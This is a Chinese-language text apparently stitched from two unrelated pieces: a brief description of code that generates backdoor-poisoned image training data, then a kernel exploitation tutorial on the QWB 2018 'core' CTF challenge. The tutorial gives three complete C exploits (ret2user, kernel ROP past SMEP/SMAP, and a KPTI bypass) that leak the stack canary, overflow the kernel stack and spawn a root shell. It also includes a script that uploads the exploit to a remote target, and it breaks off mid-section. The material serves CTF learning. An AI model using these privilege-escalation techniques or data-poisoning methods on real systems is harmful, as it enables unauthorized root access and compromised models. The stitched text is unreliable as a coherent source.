ctrl类的stage1_non_training_data_prepare` 方法负责准备背门攻击的数据，包括训练和测试数据集的生成。它先从干净数据中准备基础数据，然后生成背门样本，最后创建背门训练和测试数据集，并将结果保存以备后续使用。这一过程涵盖了从数据预处理到背门攻击数据的生成，并最终包装成适合训练和评估的格式。
这段代码是一个名为 ctrl 的类的定义，它继承自 BadNet 类。主要功能是准备阶段1的数据，包括生成后门攻击数据和测试数据
1. set_bd_args 方法
功能: 设置用于背门攻击的命令行参数。
bd_yaml_path: 指定 YAML 配置文件的路径。
use_dct: 布尔值，指示是否使用 DCT（离散余弦变换）。
use_yuv: 布尔值，指示是否使用 YUV（视频色彩空间）。
trigger_channels: 触发器的通道。
pos_list: 触发器的位置。
2. stage1_non_training_data_prepare 方法
功能: 准备数据，包括清洁训练数据、背门训练数据和测试数据。
初始化:
记录日志并确保 args 存在。
从 benign_prepare 方法中获取不同的数据集和转换方法。
生成背门数据集:
调用 bd_attack_img_trans_generate 和 bd_attack_label_trans_generate 方法生成背门数据集所需的图像和标签转换。
使用 generate_poison_index_from_label_transform 方法生成训练数据中的背门样本索引。
保存背门样本索引到文件。
创建背门训练数据集:
使用 prepro_cls_DatasetBD_v2 方法生成背门训练数据集，并应用转换。
创建数据集包装器 dataset_wrapper_with_transform。
生成背门测试数据集:
使用 generate_poison_index_from_label_transform 方法生成测试数据中的背门样本索引。
使用 prepro_cls_DatasetBD_v2 方法生成背门测试数据集，并应用转换。
使用 subset 方法筛选测试数据集中的背门样本。
保存结果:
将准备好的数据集保存到 self.stage1_results 中。
执行
攻击配置如下
训练期间部分截图如下
可以看到，CTRL在后门攻击成功率上稍低，比如在第59个epoch时，攻击成功率为0.93，正常任务准确率为0.93。
Kernel Stack栈溢出攻击及保护绕过
前言
本文介绍Linux内核的栈溢出攻击，和内核一些保护的绕过手法，通过一道内核题及其变体从浅入深一步步走进kernel世界。
QWB_2018_core
题目分析
start.sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
开启了kaslr保护。
如果自己编译的 qemu 可能会报错network backend ‘user‘ is not compiled into this binary，解决方法就是sudo apt-get install libslirp-dev，然后重新编译 ./configure --enable-slirp。
init
解压 core.cpio(最简单的方式就是在ubuntu里，右击提取到此处)，分析 init 文件：
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko # 加载内核模块core.ko
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
第 9 行中把 kallsyms 的内容保存到了 /tmp/kallsyms 中，那么我们就能从 /tmp/kallsyms 中读取 commit_creds，prepare_kernel_cred 的函数的地址了。
第 10 行把 kptr_restrict 设为 1，这样就不能通过 /proc/kallsyms 查看函数地址了，但第 9 行已经把其中的信息保存到了一个可读的文件中，这句就无关紧要了。
第 11 行把 dmesg_restrict 设为 1，这样就不能通过 dmesg 查看 kernel 的信息了。
第 18 行设置了定时关机，为了避免做题时产生干扰，直接把这句删掉然后重新打包。
里面还有一个 gen_cpio.sh 脚本，用于快速打包。
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1
KASLR：
Kernel Address Space Layout Randomization(内核地址空间布局随机化)，开启后，允许kernel image加载到VMALLOC区域的任何位置。在未开启KASLR保护机制时，内核代码段的基址为 0xffffffff81000000，direct mapping area 的基址为 0xffff888000000000。
FG-KASLR：
Function Granular Kernel Address Space Layout Randomization细粒度的 kaslr，函数级别上的 KASLR 优化。该保护只是在代码段打乱顺序，在数据段偏移不变，例如 commit_creds 函数的偏移改变但是 init_cred 的偏移不变。
Dmesg Restrictions：
通过设置/proc/sys/kernel/dmesg_restrict为1, 可以将dmesg输出的信息视为敏感信息(默认为0)
Kernel Address Display Restriction：
内核提供控制变量 /proc/sys/kernel/kptr_restrict 用于控制内核的一些输出打印。
kptr_restrict == 2 :内核将符号地址打印为全 0 , root 和普通用户都没有权限.
kptr_restrict == 1 : root 用户有权限读取,普通用户没有权限.
kptr_restrict == 0 : root 和普通用户都可以读取.
core.ko
检查一下保护。
❯ checksec core/core.ko
[*] '/home/pwn/kernel/pwn/give_to_player/core/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
使用 IDA 继续分析.ko文件。
init_module() 注册了 /proc/core，core_fops 时其注册的file_operations结构体实例，会面会做介绍。
__int64 init_module()
{
core_proc = proc_create("core", 438LL, 0LL, &core_fops);
printk(&unk_2DE);
return 0LL;
}
exit_core()删除 /proc/core。
__int64 exit_core()
{
__int64 result; // rax
if ( core_proc )
result = remove_proc_entry("core");
return result;
}
core_ioctl() 定义了三条命令，分别调用 core_read(), core_copy_func()和设置全局变量 off。
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
switch ( a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C:
printk(&unk_2CD);
off = a3;
break;
case 0x6677889A:
printk(&unk_2B3);
core_copy_func(a3);
break;
}
return 0LL;
}
core_read() 从 v4[off] 拷贝 64 个字节到用户空间，但要注意的是全局变量 off 是我们能够控制的，因此可以合理的控制 off 来 leak canary 和一些地址 。
void __fastcall core_read(__int64 a1)
{
__int64 v1; // rbx
char *v2; // rdi
signed __int64 i; // rcx
char v4[64]; // [rsp+0h] [rbp-50h]
/*
* canary保存在rsp+0x40的位置，
* 我们通过设置off为0x40，即可将其读取出来。
*/
unsigned __int64 v5; // [rsp+40h] [rbp-10h]
v1 = a1;
v5 = __readgsqword(0x28u);
printk("\x016core: called core_read\n");
printk("\x016%d %p\n");
v2 = v4;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 += 4;
}
strcpy(v4, "Welcome to the QWB CTF challenge.\n");
if ( copy_to_user(v1, &v4[off], 64LL) )
__asm { swapgs }
}
core_copy_func() 从全局变量 name 中拷贝数据到局部变量中，长度是由我们指定的，当要注意的是 qmemcpy 用的是 unsigned __int16，但传递的长度是 signed __int64，因此如果控制传入的长度为 0xffffffffffff0000|(0x100) 等值，就可以栈溢出了。
__int64 __fastcall core_copy_func(__int64 a1)
{
__int64 result; // rax
_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF
v2[8] = __readgsqword(0x28u);
printk(&unk_215);
// 这里用的jg判断，为有符号判断，0xffffffffffff0000|(0x100) 会判定为负从而绕过。
if ( a1 > 63 )
{
printk(&unk_2A1);
return 0xFFFFFFFFLL;
}
else
{
result = 0LL;
// 栈溢出。
qmemcpy(v2, &name, (unsigned __int16)a1);
}
return result;
}
core_write() 向全局变量 name 上写，这样通过 core_write() 和 core_copy_func() 就可以控制 ropchain 了 。
signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
unsigned __int64 v3; // rbx
v3 = a3;
printk("\x016core: called core_writen");
if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) )
return (unsigned int)v3;
printk("\x016core: error copying data from userspacen");
return 0xFFFFFFF2LL;
}
字符驱动设备
内核注册字符设备驱动设备时会用到file_operations结构体，file_operations 结构体中的成员函数是字符设备驱动程序设计的主体内容，结构体中的一些指针比如open() 、write() 、read() 、close() 等系统调用时最终会被内核调用，我们可以通过指定指针指向的内容修改其默认值为我们自定义的函数，这样我们在类似read(dev_fd, buf, 0x100)时就会调用我们自定义的my_read函数。
它还有一个指针为unlocked_ioctl，我们在用户态时可以使用系统调用ioctl去访问控制内核注册的设备（ioctl系统调用号为0x10，由rax保存，需要注意的时，系统调用和用户传参的rdi,rsi,rdx,rcx,r8,r9不同，系统调用第四个传参寄存器为r10，即rdi,rsi,rdx,r10,r8,r9）。
动态调试
为了动态调试的方便一些，我们需要做以下工作：
（1）通过qemu append参数关闭 kaslr ，qemu提供了-s参数用于调试，默认端口为1234。
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr"
（2）修改init脚本将权限调到 root。
...
setsid /bin/cttyhack setuidgid 0 /bin/sh
...
（3）启动qemu，查看模块基地址。
/ # lsmod
core 16384 0 - Live 0xffffffffc0000000 (O)
（4）通过 add-symbol-file core.ko textaddr 把 core.ko 符号加载进去。
#!/bin/sh
gdb -q \
-ex "file ./core/vmlinux" \
-ex "file ./core/core.ko" \
-ex "add-symbol-file ./core/core.ko 0xffffffffc0000000" \
-ex "target remote localhost:1234"
ret2user
顾名思义，即返回到用户空间的提权代码上进行提权，之后返回用户态即为 root 权限。
提权方式
这里只简单介绍两种朴素的方法，第一种是通过commit_creds(prepare_kernel_cred(0))去提权，不过这种方式已经过时了，不过这道题的内核版本支持这种方法提权，prepare_kernel_cred()会将拷贝一个新的cred凭证，参数为零默认拷贝init_cred，其具有root权限。commit_cred()负责应用到进程。
第二种是 commit_cred(&init_cred)，原因是init_cred是静态定义的，我们只要找到init_cred地址便可借助commit_cred完成提权。我们通过vmlinux-to-elf bzImage vmlinux解压并恢复内核部分符号，通过逆向 prepare_kernel_cred() 函数便可轻松定位其地址。
_DWORD *__fastcall prepare_kernel_cred(__int64 a1)
{
_DWORD *v1; // rbx
int *task_cred; // rbp
v1 = (_DWORD *)kmem_cache_alloc(qword_FFFFFFFF82735900, 20971712LL);
if ( !v1 )
return 0LL;
if ( a1 )
{
task_cred = (int *)get_task_cred(a1);
}
else
{
_InterlockedIncrement(dword_FFFFFFFF8223D1A0);
task_cred = dword_FFFFFFFF8223D1A0; // init_cred
}
[......]
}
状态保存
通常情况下，我们的 exploit 需要进入到内核当中完成提权，而我们最终仍然需要着陆回用户态以获得一个 root 权限的 shell，因此在我们的 exploit 进入内核态之前我们需要手动模拟用户态进入内核态的准备工作保存各寄存器的值到内核栈上，以便于后续着陆回用户态。通常情况下使用如下函数保存各寄存器值到我们自己定义的变量中，以便于构造 rop 链：
gcc 编译时需要指定参数：-masm=intel。
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
返回用户态
由内核态返回用户态只需要：
swapgs指令通过用一个MSR中的值交换GS寄存器的内容，用来获取指向内核数据结构的指针，然后才能执行系统调用之类的内核空间程序，其也用于恢复用户态 GS 寄存器。
sysretq或者iretq恢复到用户空间
那么我们只需要在内核中找到相应的 gadget 并执行swapgs;iretq就可以成功着陆回用户态。
执行 iretq 时的栈布局。
|----------------------|
| RIP |<== low mem
|----------------------|
| CS |
|----------------------|
| EFLAGS |
|----------------------|
| RSP |
|----------------------|
| SS |<== high mem
|----------------------|
所以我们应当构造如下 rop 链以返回用户态并获得一个 shell：
↓ swapgs
iretq
user_shell_addr
user_cs
user_eflags //64bit user_rflags
user_sp
user_ss
利用思路
在未开启 SMAP/SMEP 保护（后面会讲解）的情况下，用户空间无法访问内核空间的数据，但是内核空间可以访问 / 执行用户空间的数据，所以可以使用ret2user。题目给的vmlinux用于提取gadget可以，但使用IDA分析时太慢，可以用vmlinux-to-elf解压bzImage进行分析。
从 /tmp/kallsyms 读取符号地址，确认与nokaslr偏移，从vmlinux寻找gadget。
保存用户状态。
通过设置 off 读取 canary。
于内核态访问用户空间的 commit_creds(prepare_kernel_cred(NULL))/commit_creds(init_cred);提权。
通过 swapgs; mov trap_frame, rsp; iretq 返回用户空间，并执行 system("/bin/sh");。
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define KERNCALL __attribute__((regparm(3)))
/* /tmp/kallsyms 保存的符号地址，这里保存的是未开启kaslr的地址 */
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;
void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;
void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
void get_shell()
{
system("/bin/sh");
}
void get_root() {
commit_creds(init_cred);
// commit_creds(prepare_kernel_cred(0));
asm("swapgs;"
"mov rsp, tf_addr;"
"iretq;");
}
struct trap_frame {
size_t user_rip;
size_t user_cs;
size_t user_rflags;
size_t user_sp;
size_t user_ss;
} __attribute__((packed));
struct trap_frame tf;
size_t user_cs, user_rflags, user_sp, user_ss, tf_addr = (size_t) &tf;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
tf.user_rip = (size_t) get_shell;
tf.user_cs = user_cs;
tf.user_rflags = user_rflags;
tf.user_sp = user_sp - 0x1000;
tf.user_ss = user_ss;
puts("[*] status has been saved.");
}
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {
ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
/* 计算开启kaslr后的偏移，重定位相关函数和结构体的地址 */
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds = (void *) ((size_t) commit_creds + offset);
prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
init_cred = (void *) ((size_t) init_cred + offset);
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(0x40);
char buf[0x40];
core_read(buf);
return *(size_t *) buf;
}
int main() {
rebase();
save_status();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, '\x00', sizeof(buf));
*(size_t *) &buf[0x40] = canary;
*(void **) &buf[0x50] = get_root; // 覆盖返回地址
core_write(buf, sizeof(buf));
// jg 有符号判断，判其为负数，qmemcpy() 第三个参数取其后16位，导致溢出。
core_copy_func(0xffffffffffff0000 | sizeof(buf));
return 0;
}
编译exp时需要注意，本机环境编译的exp可能无法与题目环境交互，需要使用musl-gcc或者相应版本的docker进行编译，musl-gcc有一些库不支持，但大部分情况下都是可以的。
打包脚本
本题提供了打包脚本，可以直接./gen_cpio.sh ../core_new.cpio 打包即可。如果没提供可以使用以下命令打包。
find . | cpio -o -H newc > ../rootfs.imgs
打包完成后，改回题目环境，运行脚本测试即可。发送至远程可以使用以下脚本：
from pwn import *
import base64
#context.log_level = "debug"
with open("./exp", "rb") as f:
exp = base64.b64encode(f.read())
p = remote("127.0.0.1", 11451)
#p = process('./run.sh')
try_count = 1
while True:
p.sendline()
p.recvuntil("/ quot;)
count = 0
for i in range(0, len(exp), 0x200):
p.sendline("echo -n \"" + exp[i:i + 0x200] + "\" >> /tmp/b64_exp")
count += 1
log.info("count: " + str(count))
for i in range(count):
p.recvuntil("/ quot;)
p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
p.sendline("chmod +x /tmp/exploit")
p.sendline("/tmp/exploit ")
break
p.interactive()
调试
可以看到add rsp, 0x48;pop rbx后，ret指令正好执行我们用户空间的提权代码。
kernel rop without KPIT
开启 smep 和 smap 保护后，内核空间无法执行用户空间的代码，并且无法访问用户空间的数据。因此不能直接 ret2user 。利用 ROP执行 commit_creds(prepare_kernel_cred(0))/commit_creds(init_cred) , 然后 iret 返回用户空间可以绕过上述保护。
添加 smep 和 smap 保护。
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-cpu qemu64,+smep,+smap
smep：
Supervisor Mode Execution Protection(管理模式执行保护)，当处理器处于 ring 0 模式，执行用户空间的代码会触发页错误。（在 arm 中该保护称为 PXN)
smap：
Superivisor Mode Access Protection(管理模式访问保护)，类似于 smep，当处理器处于 ring 0 模式，访问用户空间的数据会触发页错误。
利用思路
从 /tmp/kallsyms 读取符号地址，确认与nokaslr偏移，从vmlinux寻找gadget。
保存用户状态。
通过设置 off 读取 canary。
于内核空间 rop 调用 commit_creds(prepare_kernel_cred(NULL))/commit_creds(init_cred);提权。
通过 swapgs; popfq; ret; ，iretq 返回用户空间，并执行 system("/bin/sh");。
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
// from vmlinux
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
/*
* （1）如果使用 commit_creds(prepare_kernel_cred(NULL))；
* 由于找不到 mov rdi, rax; ret; 这条 gadget ，
* 因此需要用 mov rdi, rax; call rdx; 代替，其中 rdx 指向 pop rcx; ret;
* 可以清除 call 指令压入栈中的 rip ，因此相当于 ret 。
* （2）如果使用 commit_creds(init_cred);
* 则只需要 pop rdi; ret 即可。
*/
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
void get_shell() {
system("/bin/sh");
}
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {
ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds += offset;
prepare_kernel_cred += offset;
init_cred += offset;
pop_rdi_ret += offset;
pop_rdx_ret += offset;
pop_rcx_ret += offset;
mov_rdi_rax_call_rdx += offset;
swapgs_popfq_ret += offset;
iretq += offset;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(64);
char buf[64];
core_read(buf);
return *(size_t *) buf;
}
int main() {
save_status();
rebase();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, '\x00', sizeof(buf));
*(size_t *) &buf[0x40] = canary;
size_t *rop = (size_t *) &buf[0x50], it = 0;
rop[it++] = pop_rdi_ret;
rop[it++] = 0;
rop[it++] = prepare_kernel_cred;
rop[it++] = pop_rdx_ret; // rdx ==> pop_rcx_ret_addr
rop[it++] = pop_rcx_ret;
// rax==prepare_kernel_cred(0), cal rdx ==> push commit_creds_addr, then pop_rcx_ret
rop[it++] = mov_rdi_rax_call_rdx;
rop[it++] = commit_creds;
rop[it++] = swapgs_popfq_ret;
rop[it++] = 0;
rop[it++] = iretq;
rop[it++] = (size_t) get_shell;
rop[it++] = user_cs;
rop[it++] = user_rflags;
rop[it++] = user_sp;
rop[it++] = user_ss;
core_write(buf, sizeof(buf));
core_copy_func(0xffffffffffff0000 | sizeof(buf));
return 0;
}
kernel rop with KPIT
将 CPU 类型修改为 kvm64 后开启了 KPTI 保护。
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-cpu kvm64,+smep,+smap
KPTI：
kernel page-table isolation，内核页表隔离，进程页表隔离。旨在更好地隔离用户空间与内核空间的内存来提高安全性。KPTI通过完全分离用户空间与内核空间页表来解决页表泄露。一旦开启了KPTI,由于内核态和用户态的页表不同，所以如果使用 ret2user或内核执行ROP返回用户态时，由于内核态无法确定用户态的页表，就会报出一个段错误。可以利用内核现有的gadget将 cr3 与 0x1000 异或(第13位置0)来完成从用户态PGD转换成内核态PGD。
利用思路
比较简单的方法是借助 swapgs_restore_regs_and_return_to_usermode 返回用户态。该函数是内核在 arch/x86/entry/entry_64.S 中提供的一个用于完成内核态到用户态切换的函数。当然我们也可以利用内核的gadget将cr3的第13位置0(与0x1000异或)来完成从用户态PGD转换成内核态PGD。
.text:FFFFFFFF81A008DA ; __int64 swapgs_restore_regs_and_return_to_usermode(void)
.text:FFFFFFFF81A008DA public swapgs_restore_regs_and_return_to_usermode
.text:FFFFFFFF81A008DA swapgs_restore_regs_and_return_to_usermode proc near
.text:FFFFFFFF81A008DA ; CODE XREF: ;entry_SYSCALL_64_after_hwframe+4D↑j
.text:FFFFFFFF81A008DA ; entry_SYSCALL_64_after_hwframe+5E↑j ...
.text:FFFFFFFF81A008DA pop r15
.text:FFFFFFFF81A008DC pop r14
.text:FFFFFFFF81A008DE pop r13
.text:FFFFFFFF81A008E0 pop r12
.text:FFFFFFFF81A008E2 pop rbp
.text:FFFFFFFF81A008E3 pop rbx
.text:FFFFFFFF81A008E4 pop r11
.text:FFFFFFFF81A008E6 pop r10
.text:FFFFFFFF81A008E8 pop r9
.text:FFFFFFFF81A008EA pop r8
.text:FFFFFFFF81A008EC pop rax
.text:FFFFFFFF81A008ED pop rcx
.text:FFFFFFFF81A008EE pop rdx
.text:FFFFFFFF81A008EF pop rsi
/*
* 我们再利用时直接跳到这里即可，不过 rop 接下来还要有 16 字节的填充来表示 orig_rax 和 rdi 的位置。
*/
.text:FFFFFFFF81A008F0 mov rdi, rsp ; jump this
.text:FFFFFFFF81A008F3 mov rsp, gs:qword_5004
.text:FFFFFFFF81A008FC push qword ptr [rdi+30h]
.text:FFFFFFFF81A008FF push qword ptr [rdi+28h]
.text:FFFFFFFF81A00902 push qword ptr [rdi+20h]
.text:FFFFFFFF81A00905 push qword ptr [rdi+18h]
.text:FFFFFFFF81A00908 push qword ptr [rdi+10h]
.text:FFFFFFFF81A0090B push qword ptr [rdi]
.text:FFFFFFFF81A0090D push rax
.text:FFFFFFFF81A0090E jmp short loc_FFFFFFFF81A00953
[......]
;loc_FFFFFFFF81A00953
.text:FFFFFFFF81A00953 loc_FFFFFFFF81A00953: ; CODE XREF: ;swapgs_restore_regs_and_return_to_usermode+34↑j
.text:FFFFFFFF81A00953 pop rax
.text:FFFFFFFF81A00954 pop rdi
.text:FFFFFFFF81A00955 swapgs
.text:FFFFFFFF81A00958 jmp native_iret
.text:FFFFFFFF81A00958 swapgs_restore_regs_and_return_to_usermode endp
[......]
;native_iret
.text:FFFFFFFF81A00980 test [rsp+arg_18], 4
.text:FFFFFFFF81A00985 jnz short native_irq_return_ldt
.text:FFFFFFFF81A00985 native_iret endp
[......]
;native_irq_return_ldt
.text:FFFFFFFF81A00989 push rdi
.text:FFFFFFFF81A0098A swapgs
.text:FFFFFFFF81A0098D jmp short loc_FFFFFFFF81A009A1
[......]
;loc_FFFFFFFF81A009A1
.text:FFFFFFFF81A009A1 mov rdi, gs:qword_F000
.text:FFFFFFFF81A009AA mov [rdi], rax
.text:FFFFFFFF81A009AD mov rax, [rsp+8]
.text:FFFFFFFF81A009B2 mov [rdi+8], rax
.text:FFFFFFFF81A009B6 mov rax, [rsp+8+arg_0]
.text:FFFFFFFF81A009BB mov [rdi+10h], rax
.text:FFFFFFFF81A009BF mov rax, [rsp+8+arg_8]
.text:FFFFFFFF81A009C4 mov [rdi+18h], rax
.text:FFFFFFFF81A009C8 mov rax, [rsp+8+arg_18]
.text:FFFFFFFF81A009CD mov [rdi+28h], rax
.text:FFFFFFFF81A009D1 mov rax, [rsp+8+arg_10]
.text:FFFFFFFF81A009D6 mov [rdi+20h], rax
.text:FFFFFFFF81A009DA and eax, 0FFFF0000h
.text:FFFFFFFF81A009DF or rax, gs:qword_F008
.text:FFFFFFFF81A009E8 push rax
.text:FFFFFFFF81A009E9 jmp short loc_FFFFFFFF81A00A2E
[......]
;loc_FFFFFFFF81A00A2E
.text:FFFFFFFF81A00A2E pop rax
.text:FFFFFFFF81A00A2F swapgs
.text:FFFFFFFF81A00A32 pop rdi
.text:FFFFFFFF81A00A33 mov rsp, rax
.text:FFFFFFFF81A00A36 pop rax
.text:FFFFFFFF81A00A37 jmp native_irq_return_iret
[......]
;native_irq_return_iret
.text:FFFFFFFF81A00987 iretq
.text:FFFFFFFF81A00987 native_irq_return_iret endp
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
void get_shell() {
system("/bin/sh");
}
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {
ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds += offset;
prepare_kernel_cred += offset;
init_cred += offset;
pop_rdi_ret += offset;
pop_rdx_ret += offset;
pop_rcx_ret += offset;
mov_rdi_rax_call_rdx += offset;
swapgs_popfq_ret += offset;
iretq += offset;
swapgs_restore_regs_and_return_to_usermode += offset;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(64);
char buf[64];
core_read(buf);
return *(size_t *) buf;
}
int main() {
save_status();
rebase();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, '\x00', sizeof(buf));
// 0x40~0x48->canary; 0x48~0x50->rbp; 0x50~0x58->fake_retaddr
*(size_t *) &buf[0x40] = canary;
size_t *rop = (size_t *) &buf[0x50], it = 0;
rop[it++] = pop_rdi_ret;
rop[it++] = 0;
rop[it++] = prepare_kernel_cred;
rop[it++] = pop_rdx_ret;
rop[it++] = pop_rcx_ret;
rop[it++] = mov_rdi_rax_call_rdx;
rop[it++] = commit_creds;
rop[it++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
rop[it++] = 0;
rop[it++] = 0;
rop[it++] = (size_t) get_shell;
rop[it++] = user_cs;
rop[it++] = user_rflags;
rop[it++] = user_sp;
rop[it++] = user_ss;
core_write(buf, sizeof(buf));
core_copy_func(0xffffffffffff0000 | sizeof(buf));
return 0;
}
利用 pt_regs 构造 rop
qemu启动脚本
#!/bin/sh
qemu-system-x86_64 \
